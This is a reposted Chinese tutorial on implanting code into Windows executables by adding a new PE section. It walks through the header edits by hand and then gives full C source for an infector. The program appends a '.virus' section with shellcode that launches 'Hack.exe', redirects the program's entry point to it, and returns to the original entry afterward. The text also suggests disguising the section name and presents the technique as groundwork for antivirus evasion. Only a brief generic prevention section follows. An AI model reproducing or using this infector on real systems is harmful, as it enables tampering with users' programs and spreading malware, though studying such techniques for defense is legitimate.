【轉】反病毒攻防研究第003篇:添加節區實現代碼的植入

聲明

因爲在評論區看到原博主說要把文章刪掉。。。心想這麼好的文章刪了真的可惜,所以就先轉一份。。。


一、前言

        上一篇文章所討論的利用縫隙實現代碼的植入有一個很大的問題,就是我們想要植入的代碼的長度不能夠比縫隙大,否則需要把自身的代碼截成幾個部分,再分別插入不同的縫隙中。而這次所討論的方法是增加一個節區,這個節區完全可以達到私人訂製的效果,其大小完全由我們自己來決定,這樣的話,即便是代碼較長,也不用擔心。而這種方式最大的缺陷就是不利於惡意代碼自身的隱藏,因此在現實中可能並不常用。其實,我在這裏討論節區的添加,是爲了以後更加深入的討論打下基礎,因爲在加殼以及免殺技術中,經常會對PE文件添加節區。這篇文章首先會討論如何手工添加節區,之後會討論編程實現節區的添加。

 

二、手工添加節區

        就我個人而言,只要不是過於繁瑣,我都比較傾向於直接利用十六進制代碼編輯軟件來修改目標程序。因爲當理解了各種文件的格式之後,純手工對代碼進行編輯會更加靈活,也更加方便。只要ShellCode不太長,那麼手工添加節區來植入代碼,其實還是比較容易的。一般來說,添加節區由以下四個步驟組成:

        1、在節表後面添加一個IMAGE_SECTION_HEADER,用於保存所添加的節的基本信息。

        2、更新IMAGE_FILE_HEADER中的NumberOfSections字段,添加了幾個節區就增加多少。

        3、更新IMAGE_OPTIONAL_HEADER中的SizeOfImage字段,這裏需要加上所添加節區的大小。如果添加代碼,還需修改SizeOfCode的大小以及程序入口點。

        4、添加節區的數據。

        這裏先用PEiD看一下上一篇文章中所編寫的helloworld.exe的節區情況(這裏所討論的是Release版,如果是Debug版,會有所不同):


圖1 用PEiD查看節區

        從截圖中可以看到helloworld.exe包含有三個節區,再來看一下IMAGE_SECTION_HEADER的定義:

  1. typedef struct _IMAGE_SECTION_HEADER {
  2. BYTE Name[IMAGE_SIZEOF_SHORT_NAME]; //8個字節的節區名稱
  3. union { //節區尺寸
  4. DWORD PhysicalAddress;
  5. DWORD VirtualSize;
  6. } Misc;
  7. DWORD VirtualAddress; //節區的RVA地址
  8. DWORD SizeOfRawData; //在文件中對齊後的尺寸
  9. DWORD PointerToRawData; //在文件中的偏移
  10. DWORD PointerToRelocations; //在OBJ文件中使用,重定位的偏移
  11. DWORD PointerToLinenumbers; //行號表的偏移(供調試用)
  12. WORD NumberOfRelocations; //在OBJ文件中使用,重定位項數目
  13. WORD NumberofLinenumbers; //行號表中行號的數目
  14. DWORD Characteristics; //節區的屬性
  15. } IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;
        該結構體的成員很多,但是真正需要使用的只有在PEiD中顯示的那6個,即Name、VirtualSize、VirtualAddress、SizeofRawData、PointerToRawData與Characteristics。結合Hex Editor Neo觀察如下:


圖2 用Hex Editor Neo查看節區數據

        在圖2中可以發現,IMAGE_SECTION_HEADER的長度是40個字節,每一項節表的相關數據在Hex Editor Neo中正好佔了兩行半的內容。這裏再解釋一下在PEiD中所顯示的那六個成員的意義:

        1、Name:節區名稱。這是一個8位ASCII碼名(不是Unicode內碼),用來定義節區名稱。一般來說,節區名稱以一個“.”開始(如.text),但是其實這個“.”並不是必需的。需要說明的是,如果節區的名稱超過8個字節,則沒有最後的終止標誌“NULL”字節。帶有一個“$”的節區名字會從鏈接器那裏得到特殊的對待,前面帶有“$”的相同名字的節區被合併,在合併後的節區中,它們是按“$”後面的字符字母順序進行合併的。

        對於helloworld.exe這個程序來說,爲了實現所添加節區的隱藏,可以將新添加的節區名稱僞裝成正常的節區名稱,比如.crt、.bss、.edata或者.sdata等等。或者把原來正常的節區名稱改掉,如將原來的.text改爲.jy(我名字的縮寫),而將所添加的節區名稱命名爲.text,一般來說,系統不會因爲節區改了名字而出錯。這裏爲了方便起見,將新節區的名字設定爲.virus。

        2、VirtualSize(V.Size):指出實際的、被使用的節區大小,是節區在沒進行對齊處理前的實際大小。如果VirtualSize大於SizeOfRawData,那麼SizeOfRawData是來自可執行文件初始化數據的大小,與VirtualSize相差的字節用零填充。這個字段在OBJ文件中是被設定爲0的。

        這裏我將節的大小直接設定爲對齊後的大小。由於文件對齊是0x1000字節,那麼就採用最小值即可,直接設定爲0x1000。由於計算機是小端顯示,且佔據4個字節,因此應當寫爲“00 10 00 00”,這種小端的書寫方式在之後的數據填寫中也會採用。

        3、VirtualAddress(V.Offset):表示節區裝載到內存中的RVA。這個地址是按照內存頁對齊的,它的值總是SectionAlignment的整數倍。在Microsoft工具中,第一個塊的默認RVA爲1000h。在OBJ中,該字段沒有意義,並被設爲0。

        VirtualAddress的值是上一個節區的起始位置加上上一個節對齊後的長度的值,在PEiD中可見,上一個節區的起始位置是0x7000,上個節區對齊後的長度是0x4000,因此新節區的起始位置是0xB000。

        4、SizeOfRawData(R.Size):該節區在磁盤文件中所佔的大小。在可執行文件中,該字段包含經過FileAlignment調整後的塊的長度。例如,指定FileAlignment的大小爲200h,如果VirtualSize中的塊的長度爲19Ah個字節,這一塊應保持的長度爲200h個字節。

        這裏只要填寫一個最小值0x1000就可以。

        5、PointerToRawData(R.Offset):該節區在磁盤文件中的偏移。程序經編譯或彙編後生成原始數據,這個字段用於給出原始數據在文件中的偏移。如果程序自裝載PE或COFF文件(而不是由操作系統裝入),這一字段比VirtualAddress還重要。在這種狀態下,必須完全使用線性映像方法裝入文件,所以需要在該偏移處找到塊的數據,而不是VirtualAddress字段中的RVA地址。

        由於上一個節區的位移爲0x7000,大小爲0x3000,所以這裏的R.Offset應該爲0xA000。

        6、Characteristics(Flags):節區屬性。該字段是一組指出節區屬性(如代碼/數據/可讀/可寫)的標誌。具體的屬性可以查表獲得。

        這裏可以直接參考.text的屬性,即“20 0000 60”(包含代碼,可讀可執行)。

        那麼依據上述分析,在緊接着上一個節區位置的0x240處開始,直接手工填寫相關數據如下:


圖3 手工添加節區的基本信息

        至此,節區的基本信息添加完成,接下來需要修改這個PE文件的節區數量,之前該文件有3個節區,這裏需要修改成4個。找到IMAGE_FILE_HEADER中的NumberOfSections字段進行修改:


圖4 更改節區數量

        接下來需要修改文件映像的大小,也就是SizeOfImage的值。因爲這裏我新添加了一個節區,那麼就應該把新的節區的大小加上原始SizeOfImage的值,就是新的文件映像的大小。這裏原始的SizeOfImage大小爲0xB000,新節區的大小爲0x1000,那麼新的SizeOfImage的大小就是0xC000。


圖5 更改文件映像大小

        由於我在文件中添加了新的代碼段,所以這裏還需要修改SizeOfCode的大小,出現多個代碼節,就應該把這個字段修改爲它們的總和。我添加了0x1000字節的內容,那麼就應將這個數據段修改成0x6000:


圖6 修改代碼節的大小

        至此,修改PE結構字段的內容都已經做完了,現在開始需要添加真實的數據,根據上述分析,文件的起始位置爲0xA000,長度爲0x1000。填入ShellCode,並在其後填入00,將0x1000長度的空間補滿(不補滿的話,系統會報錯,補多了的話,會顯示有附加數據):


圖7 添加ShellCode

        這裏的返回地址(0x00401203)與上一篇文章中的不同,需要注意。最後一步就是將程序的入口點修改爲ShellCode的入口點,即將AddressOfEntryPoint修改爲0xB000(RVA):

圖8 修改程序入口地址爲ShellCode地址

        至此,所有修改完成,再次使用PEiD查看,如圖所示:


圖9 添加成功

        經過實際測試,程序正常運行,效果與上一篇文章所討論的相同,這裏不再贅述。

 

三、編程添加節區

        與上一篇文章中的在縫隙中添加代碼的方法類似,通過編程添加一個節區其實就是對文件的一系列操作,並且依然需要對PE文件的合法性進行檢驗。通過編程的方法添加節區和手動方法在步驟上是一樣的,只不過是將上面的手動步驟以通過調用API函數的方式進行編程而已。完整代碼如下:

  1. #include <windows.h>
  2. #define FILENAME "helloworld.exe" //欲“感染”的文件名
  3. char szSecName[] = ".virus"; //所添加的節區名稱
  4. int nSecSize = 4096; //所添加的節區大小(字節)
  5. char shellcode[] =
  6. "\x33\xdb" //xor ebx,ebx
  7. "\x53" //push ebx
  8. "\x68\x2e\x65\x78\x65" //push 0x6578652e
  9. "\x68\x48\x61\x63\x6b" //push 0x6b636148
  10. "\x8b\xc4" //mov eax,esp
  11. "\x53" //push ebx
  12. "\x50" //push eax
  13. "\xb8\x31\x32\x86\x7c" //mov eax,0x7c863231
  14. "\xff\xd0" //call eax
  15. "\xb8\x90\x90\x90\x90" //mov eax,OEP
  16. "\xff\xe0\x90"; //jmp eax
  17. HANDLE hFile = NULL;
  18. HANDLE hMap = NULL;
  19. LPVOID lpBase = NULL;
  20. DWORD AlignSize(int nSecSize, DWORD Alignment)
  21. {
  22. int nSize = nSecSize;
  23. if (nSize % Alignment != 0 )
  24. {
  25. nSecSize = (nSize / Alignment + 1) * Alignment;
  26. }
  27. return nSecSize;
  28. }
  29. void AddSectionData(int nSecSize)
  30. {
  31. PBYTE pByte = NULL;
  32. //申請用來添加數據的空間,這裏需要減去ShellCode本身所佔的空間
  33. pByte = (PBYTE)malloc(nSecSize-(strlen(shellcode)+3));
  34. ZeroMemory(pByte, nSecSize-(strlen(shellcode)+3));
  35. DWORD dwNum = 0;
  36. //令文件指針指向文件末尾,以準備添加數據
  37. SetFilePointer(hFile, 0, 0, FILE_END);
  38. //在文件的末尾寫入ShellCode
  39. WriteFile(hFile, shellcode, strlen(shellcode)+3, &dwNum, NULL);
  40. //在ShellCode的末尾用00補充滿
  41. WriteFile(hFile, pByte, nSecSize-(strlen(shellcode)+3), &dwNum, NULL);
  42. FlushFileBuffers(hFile);
  43. free(pByte);
  44. }
  45. int main()
  46. {
  47. hFile = CreateFile(FILENAME,
  48. GENERIC_READ | GENERIC_WRITE,
  49. FILE_SHARE_READ,
  50. NULL,
  51. OPEN_EXISTING,
  52. FILE_ATTRIBUTE_NORMAL,
  53. NULL);
  54. hMap = CreateFileMapping(hFile,NULL,PAGE_READWRITE,0,0,0);
  55. lpBase = MapViewOfFile(hMap,FILE_MAP_READ|FILE_MAP_WRITE,0,0,0);
  56. PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpBase;
  57. PIMAGE_NT_HEADERS pNtHeader = NULL;
  58. //PE文件驗證,判斷e_magic是否爲MZ
  59. if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
  60. {
  61. UnmapViewOfFile(lpBase);
  62. CloseHandle(hMap);
  63. CloseHandle(hFile);
  64. return 0;
  65. }
  66. //根據e_lfanew來找到Signature標誌位
  67. pNtHeader = (PIMAGE_NT_HEADERS)((BYTE *)lpBase + pDosHeader->e_lfanew);
  68. //PE文件驗證,判斷Signature是否爲PE
  69. if(pNtHeader->Signature != IMAGE_NT_SIGNATURE)
  70. {
  71. UnmapViewOfFile(lpBase);
  72. CloseHandle(hMap);
  73. CloseHandle(hFile);
  74. return 0;
  75. }
  76. int nSecNum = pNtHeader->FileHeader.NumberOfSections;
  77. DWORD dwFileAlignment = pNtHeader->OptionalHeader.FileAlignment;
  78. DWORD dwSecAlignment = pNtHeader->OptionalHeader.SectionAlignment;
  79. PIMAGE_SECTION_HEADER pSecHeader = (PIMAGE_SECTION_HEADER)((DWORD)
  80. &(pNtHeader->OptionalHeader)+pNtHeader->
  81. FileHeader.SizeOfOptionalHeader);
  82. PIMAGE_SECTION_HEADER pTmpSec = pSecHeader + nSecNum;
  83. //拷貝節區名稱
  84. strncpy((char *)pTmpSec->Name, szSecName, 7);
  85. //節的內存大小
  86. pTmpSec->Misc.VirtualSize = AlignSize(nSecSize, dwSecAlignment);
  87. //節的內存起始位置
  88. pTmpSec->VirtualAddress = pSecHeader[nSecNum - 1].VirtualAddress +
  89. AlignSize(pSecHeader[nSecNum - 1].Misc.VirtualSize, dwSecAlignment);
  90. //節的文件大小
  91. pTmpSec->SizeOfRawData = AlignSize(nSecSize, dwFileAlignment);
  92. //節的文件起始位置
  93. pTmpSec->PointerToRawData = pSecHeader[nSecNum - 1].PointerToRawData +
  94. AlignSize(pSecHeader[nSecNum - 1].SizeOfRawData, dwSecAlignment);
  95. //節的屬性(包含代碼,可執行,可讀)
  96. pTmpSec->Characteristics = IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ ;
  97. //修正節的數量,自增1
  98. pNtHeader->FileHeader.NumberOfSections ++;
  99. //修正映像大小
  100. pNtHeader->OptionalHeader.SizeOfImage += pTmpSec->Misc.VirtualSize;
  101. //將程序的入口地址寫入ShellCode
  102. DWORD dwOep = pNtHeader->OptionalHeader.ImageBase+pNtHeader->OptionalHeader.AddressOfEntryPoint;
  103. *(DWORD *)&shellcode[25] = dwOep;
  104. //添加節區數據
  105. AddSectionData(pTmpSec->SizeOfRawData);
  106. //修正代碼長度(只在添加代碼時才需修改此項)
  107. pNtHeader->OptionalHeader.SizeOfCode += pTmpSec->SizeOfRawData;
  108. //修正程序的入口地址(只在添加代碼並想讓ShellCode提前執行時才需修改此項)
  109. pNtHeader->OptionalHeader.AddressOfEntryPoint = pTmpSec->VirtualAddress;
  110. FlushViewOfFile(lpBase, 0);
  111. UnmapViewOfFile(lpBase);
  112. CloseHandle(hMap);
  113. CloseHandle(hFile);
  114. return 0;
  115. }

        以上代碼比較簡單,就是基本的文件操作,已給出了相關的註釋,這裏不再論述。

 

四、防範方法

        在我看來,感染類病毒並不容易清除,因爲它會把自身代碼植入到正常PE文件中,儘管中毒後可以運用殺毒工具針對其對計算機造成的損害進行清除,但是難以刪除隱藏在正常程序中的惡意代碼。雖然我們可以不再運行含有惡意程序的軟件,但是隻要運行過一次,那麼它就有可能將計算機中的所有PE文件感染,這樣即便我們使用殺毒工具清除了病毒所產生的不良行爲,但是一旦運行別的程序,依舊會再次中病毒。而且就算有方法將藏身於PE文件中的病毒代碼徹底清除,也有可能破壞程序主體,使該程序不能夠正常運行。因此,最好的方法就是從源頭上杜絕這種情況的出現,不要下載和運行來歷不明的程序,並且安裝殺毒軟件。也就是說,一定要培養出良好的計算機安全意識。

 

五、小結

        這次我們討論了手工以及編程添加節區的方法,其實它的原理非常簡單,只是比較繁瑣而已。通過這篇文章的討論,也爲以後的免殺技術的討論打下了基礎。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章